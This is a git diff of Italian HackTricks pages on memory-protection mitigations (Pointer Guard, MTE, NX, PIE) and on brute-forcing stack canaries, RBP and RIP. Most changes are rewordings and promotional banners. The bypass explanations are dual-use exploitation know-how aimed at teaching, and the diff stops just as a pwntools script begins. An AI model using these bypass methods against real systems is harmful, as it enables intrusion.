5. **Applicazione Pratica:** Dopo aver calcolato il segreto, un attaccante può manipolare i puntatori in modo controllato, bypassando essenzialmente la protezione Pointer Guard in un'applicazione multithread con la conoscenza dell'indirizzo di base di libc e la capacità di leggere posizioni di memoria arbitrarie. 5. **Applicazione Pratica:** Dopo aver calcolato il segreto, un attaccante può manipolare i puntatori in modo controllato, bypassando essenzialmente la protezione Pointer Guard in un'applicazione multithread con la conoscenza dell'indirizzo di base di libc e la capacità di leggere posizioni di memoria arbitrarie.
## Riferimenti ## Riferimenti

View file

@ -1,32 +1,33 @@
# Estensione del Tagging della Memoria (MTE) # Estensione del Tagging della Memoria (MTE)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Il **Memory Tagging Extension (MTE)** è progettato per migliorare l'affidabilità e la sicurezza del software **rilevando e prevenendo errori legati alla memoria**, come buffer overflow e vulnerabilità di uso dopo la liberazione. MTE, come parte dell'architettura **ARM**, fornisce un meccanismo per allegare un **piccolo tag ad ogni allocazione di memoria** e un **tag corrispondente ad ogni puntatore** che fa riferimento a quella memoria. Questo approccio consente di rilevare gli accessi illegali alla memoria durante l'esecuzione, riducendo significativamente il rischio di sfruttare tali vulnerabilità per eseguire codice arbitrario. **Memory Tagging Extension (MTE)** è progettato per migliorare l'affidabilità e la sicurezza del software **rilevando e prevenendo errori legati alla memoria**, come buffer overflow e vulnerabilità di uso dopo la liberazione. MTE, come parte dell'architettura **ARM**, fornisce un meccanismo per allegare un **piccolo tag a ogni allocazione di memoria** e un **tag corrispondente a ogni puntatore** che fa riferimento a quella memoria. Questo approccio consente di rilevare gli accessi illegali alla memoria durante l'esecuzione, riducendo significativamente il rischio di sfruttare tali vulnerabilità per eseguire codice arbitrario.
### **Come Funziona l'Estensione del Tagging della Memoria** ### **Come Funziona l'Estensione del Tagging della Memoria**
MTE opera **dividendo la memoria in blocchi di dimensioni fisse, con ciascun blocco assegnato un tag,** tipicamente di pochi bit di dimensione.&#x20; MTE opera **dividendo la memoria in blocchi di dimensioni fisse**, con ciascun blocco assegnato un tag, tipicamente di pochi bit.
Quando viene creato un puntatore per puntare a quella memoria, ottiene lo stesso tag. Questo tag è memorizzato nei **bit non utilizzati di un puntatore di memoria**, collegando efficacemente il puntatore al suo blocco di memoria corrispondente. Quando viene creato un puntatore per puntare a quella memoria, ottiene lo stesso tag. Questo tag è memorizzato nei **bit non utilizzati di un puntatore di memoria**, collegando efficacemente il puntatore al suo blocco di memoria corrispondente.
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Quando un programma accede alla memoria attraverso un puntatore, l'hardware MTE controlla che il **tag del puntatore corrisponda al tag del blocco di memoria**. Se i tag **non corrispondono**, indica un **accesso illegale alla memoria.** Quando un programma accede alla memoria tramite un puntatore, l'hardware MTE controlla che il **tag del puntatore corrisponda al tag del blocco di memoria**. Se i tag **non corrispondono**, indica un **accesso illegale alla memoria**.
### Tag dei Puntatori MTE ### Tag dei Puntatori MTE
@ -34,13 +35,13 @@ I tag all'interno di un puntatore sono memorizzati in 4 bit all'interno del byte
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Pertanto, ciò consente fino a **16 diversi valori di tag**. Ciò consente fino a **16 valori di tag diversi**.
### Tag della Memoria MTE ### Tag della Memoria MTE
Ogni **16B di memoria fisica** ha un **tag di memoria corrispondente**. Ogni **16B di memoria fisica** ha un **tag di memoria corrispondente**.
I tag di memoria sono memorizzati in una **regione RAM dedicata** (non accessibile per un uso normale). Avendo tag di 4 bit per ogni 16B di tag di memoria fino al 3% di RAM. I tag di memoria sono memorizzati in una **regione RAM dedicata** (non accessibile per un uso normale). Avendo tag di 4 bit per ogni tag di memoria di 16B, fino al 3% di RAM.
ARM introduce le seguenti istruzioni per manipolare questi tag nella memoria RAM dedicata: ARM introduce le seguenti istruzioni per manipolare questi tag nella memoria RAM dedicata:
``` ```
@ -67,15 +68,15 @@ La CPU controlla i tag **in modo asincrono**, e quando trova una discrepanza imp
## Esempi di Implementazione e Rilevamento ## Esempi di Implementazione e Rilevamento
Chiamato KASAN basato su tag hardware, KASAN basato su MTE o MTE nel kernel.\ Chiamato KASAN basato su tag hardware, KASAN basato su MTE o MTE nel kernel.\
Gli allocatori del kernel (come `kmalloc`) **chiameranno questo modulo** che preparerà il tag da utilizzare (casualmente) lo attaccherà allo spazio kernel allocato e al puntatore restituito. Gli allocatori del kernel (come `kmalloc`) **chiameranno questo modulo** che preparerà il tag da utilizzare (casualmente) per attaccarlo allo spazio kernel allocato e al puntatore restituito.
Si noti che verranno **contrassegnati solo abbastanza granuli di memoria** (16B ciascuno) per la dimensione richiesta. Quindi se la dimensione richiesta era 35 e veniva dato uno slab di 60B, verranno contrassegnati i primi 16\*3 = 48B con questo tag e il **resto** verrà **contrassegnato** con un cosiddetto **tag non valido (0xE)**. Si noti che verranno **contrassegnati solo abbastanza granuli di memoria** (16B ciascuno) per la dimensione richiesta. Quindi, se la dimensione richiesta era 35 e veniva fornito uno slab di 60B, verranno contrassegnati i primi 16\*3 = 48B con questo tag e il **resto** verrà **contrassegnato** con un cosiddetto **tag non valido (0xE)**.
Il tag **0xF** è il **puntatore di corrispondenza totale**. Una memoria con questo puntatore consente **l'uso di qualsiasi tag** per accedere alla sua memoria (nessuna discrepanza). Questo potrebbe impedire a MET di rilevare un attacco se questo tag viene utilizzato nella memoria attaccata. Il tag **0xF** è il **puntatore di corrispondenza totale**. Una memoria con questo puntatore consente **l'uso di qualsiasi tag** per accedere alla sua memoria (nessuna discrepanza). Ciò potrebbe impedire a MET di rilevare un attacco se questo tag viene utilizzato nella memoria attaccata.
Pertanto ci sono solo **14 valori** che possono essere utilizzati per generare tag poiché 0xE e 0xF sono riservati, dando una probabilità di **riutilizzo dei tag** pari a 1/17 -> circa **7%**. Pertanto ci sono solo **14 valori** che possono essere utilizzati per generare tag poiché 0xE e 0xF sono riservati, dando una probabilità di **riutilizzo dei tag** pari a 1/17 -> circa **7%**.
Se il kernel accede al **granulo di tag non valido**, la **discrepanza** verrà **rilevata**. Se accede a un'altra posizione di memoria, se la **memoria ha un tag diverso** (o il tag non valido) la discrepanza verrà **rilevata**. Se l'attaccante ha fortuna e la memoria utilizza lo stesso tag, non verrà rilevata. Le probabilità sono circa del 7%. Se il kernel accede al **granulo con tag non valido**, la **discrepanza** verrà **rilevata**. Se accede a un'altra posizione di memoria, se la **memoria ha un tag diverso** (o il tag non valido) la discrepanza verrà **rilevata**. Se l'attaccante ha fortuna e la memoria utilizza lo stesso tag, non verrà rilevata. Le probabilità sono circa del 7%.
Un altro bug si verifica nell'**ultimo granulo** della memoria allocata. Se l'applicazione ha richiesto 35B, le è stato dato il granulo dal 32 al 48. Pertanto, i **byte dal 36 al 47 utilizzano lo stesso tag** ma non sono stati richiesti. Se l'attaccante accede a **questi byte extra, ciò non viene rilevato**. Un altro bug si verifica nell'**ultimo granulo** della memoria allocata. Se l'applicazione ha richiesto 35B, le è stato dato il granulo dal 32 al 48. Pertanto, i **byte dal 36 al 47 utilizzano lo stesso tag** ma non sono stati richiesti. Se l'attaccante accede a **questi byte extra, ciò non viene rilevato**.
@ -83,7 +84,7 @@ Quando viene eseguito **`kfree()`**, la memoria viene contrassegnata nuovamente
Tuttavia, in un uso dopo la liberazione, se lo stesso **blocco viene riallocato nuovamente con lo STESSO tag** come precedentemente, un attaccante potrà utilizzare questo accesso e ciò non verrà rilevato (circa il 7% di probabilità). Tuttavia, in un uso dopo la liberazione, se lo stesso **blocco viene riallocato nuovamente con lo STESSO tag** come precedentemente, un attaccante potrà utilizzare questo accesso e ciò non verrà rilevato (circa il 7% di probabilità).
Inoltre, solo **`slab` e `page_alloc`** utilizzano la memoria contrassegnata ma in futuro questo verrà utilizzato anche in `vmalloc`, `stack` e `globals` (al momento del video questi possono ancora essere abusati). Inoltre, solo **`slab` e `page_alloc`** utilizzano la memoria contrassegnata ma in futuro verrà utilizzata anche in `vmalloc`, `stack` e `globals` (al momento del video questi possono ancora essere abusati).
Quando viene rilevata una **discrepanza**, il kernel **va in panico** per impedire ulteriori sfruttamenti e tentativi dell'exploit (MTE non ha falsi positivi). Quando viene rilevata una **discrepanza**, il kernel **va in panico** per impedire ulteriori sfruttamenti e tentativi dell'exploit (MTE non ha falsi positivi).

View file

@ -1,22 +1,23 @@
# No-exec / NX # No-exec / NX
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzionalità di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato ed abilitato, distingue tra regioni di memoria destinate al **codice eseguibile** e quelle destinate ai **dati**, come lo **stack** e l'**heap**. L'idea principale è impedire a un attaccante di eseguire codice dannoso attraverso vulnerabilità di buffer overflow mettendo ad esempio il codice dannoso nello stack e dirigendo il flusso di esecuzione verso di esso. Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzionalità di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato ed abilitato, distingue tra regioni di memoria destinate al **codice eseguibile** e quelle destinate ai **dati**, come lo **stack** e l'**heap**. L'idea principale è prevenire a un attaccante di eseguire codice dannoso attraverso vulnerabilità di buffer overflow mettendo ad esempio il codice dannoso nello stack e dirigendo il flusso di esecuzione verso di esso.
## Bypass ## Bypass
@ -25,16 +26,17 @@ Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella termi
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) * [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
* **Ret2...** * **Ret2...**
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# PIE # PIE
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
Un binario compilato come PIE, o **Eseguibile a Indirizzamento Indipendente dalla Posizione**, significa che il **programma può caricarsi in diverse posizioni di memoria** ogni volta che viene eseguito, impedendo gli indirizzi codificati. Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può caricarsi in diverse posizioni di memoria** ogni volta che viene eseguito, impedendo gli indirizzi codificati.
Il trucco per sfruttare questi binari sta nell'**sfruttare gli indirizzi relativi**—gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è sufficiente ottenere un indirizzo in modo non sicuro**, tipicamente dal **stack** utilizzando vulnerabilità come gli attacchi di stringhe di formato. Una volta ottenuto un indirizzo, è possibile calcolare gli altri tramite i loro **offset fissi**. Il trucco per sfruttare questi binari sta nell'**sfruttare gli indirizzi relativi**—gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare il PIE, è sufficiente ottenere un indirizzo in modo non sicuro**, tipicamente dallo **stack** utilizzando vulnerabilità come gli attacchi di stringhe di formato. Una volta ottenuto un indirizzo, è possibile calcolare gli altri utilizzando i loro **offset fissi**.
Un suggerimento utile nel sfruttare i binari PIE è che il loro **indirizzo di base termina tipicamente in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se è stato identificato l'indirizzo di base corretto.\ Un suggerimento utile nel sfruttare i binari PIE è che il loro **indirizzo di base termina tipicamente in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se è stato identificato l'indirizzo di base corretto.\
Oppure puoi utilizzarlo per il tuo exploit, se scopri che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo di base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni. Oppure puoi utilizzarlo per il tuo exploit, se scopri che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo di base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
## Bypass ## Bypass
Per bypassare PIE è necessario **ottenere un qualche indirizzo del binario caricato**, ci sono alcune opzioni per farlo: Per bypassare il PIE è necessario **ottenere un qualche indirizzo del binario caricato**, ci sono alcune opzioni per farlo:
* **ASLR disabilitato**: Se ASLR è disabilitato un binario compilato con PIE verrà sempre **caricato nella stessa posizione**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto. * **ASLR disabilitato**: Se ASLR è disabilitato un binario compilato con PIE verrà sempre **caricato nella stessa posizione**, quindi il **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
* **Ottenere** il leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) * **Ottenere** il leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Forzare i valori di EBP ed EIP** nello stack fino a ottenere quelli corretti: * **Forzare i valori di EBP ed EIP** nello stack fino a ottenere quelli corretti:
@ -35,22 +36,23 @@ Per bypassare PIE è necessario **ottenere un qualche indirizzo del binario cari
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) [bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %} {% endcontent-ref %}
* Utilizzare una vulnerabilità di **lettura arbitraria** come le [**stringhe di formato**](../../format-strings/) per ottenere un indirizzo del binario (ad esempio dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare gli offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). * Utilizzare una vulnerabilità di **lettura arbitraria** come [**stringhe di formato**](../../format-strings/) per ottenere un indirizzo del binario (ad esempio dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare gli offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Riferimenti ## Riferimenti
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Indirizzi BF nello Stack # Indirizzi BF nello Stack
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
**Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable) probabilmente devi trovare un modo per aggirarli.** **Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable) probabilmente devi trovare un modo per aggirarli.**
@ -25,14 +26,14 @@ Tuttavia, puoi notarlo manualmente se trovi che un valore viene salvato nello st
## Indirizzi Brute-Force ## Indirizzi Brute-Force
Per **aggirare il PIE** è necessario **leakare alcuni indirizzi**. E se il binario non sta leakando nessun indirizzo, il meglio da fare è **forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\ Per **aggirare la PIE** devi **leakare alcuni indirizzi**. E se il binario non sta leakando nessun indirizzo, il meglio da fare è **forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\
Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a forzare il canary, quindi i **successivi** 8 byte (x64) saranno il **RBP** salvato e i **successivi** 8 byte saranno il **RIP** salvato. Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a forzare il canary, poi i **successivi** 8 byte (x64) saranno il **RBP** salvato e i **successivi** 8 byte saranno il **RIP** salvato.
{% hint style="success" %} {% hint style="success" %}
Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, il quale, se la vulnerabilità si trova nel codice binario, sarà di solito il caso. Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso.
{% endhint %} {% endhint %}
Per forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non va in crash. La **stessa funzione** fornita per forzare il canary può essere utilizzata per forzare il RBP e il RIP: Per forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma produce un output o semplicemente non va in crash. La **stessa funzione** fornita per forzare il canary può essere utilizzata per forzare il RBP e il RIP:
```python ```python
from pwn import * from pwn import *
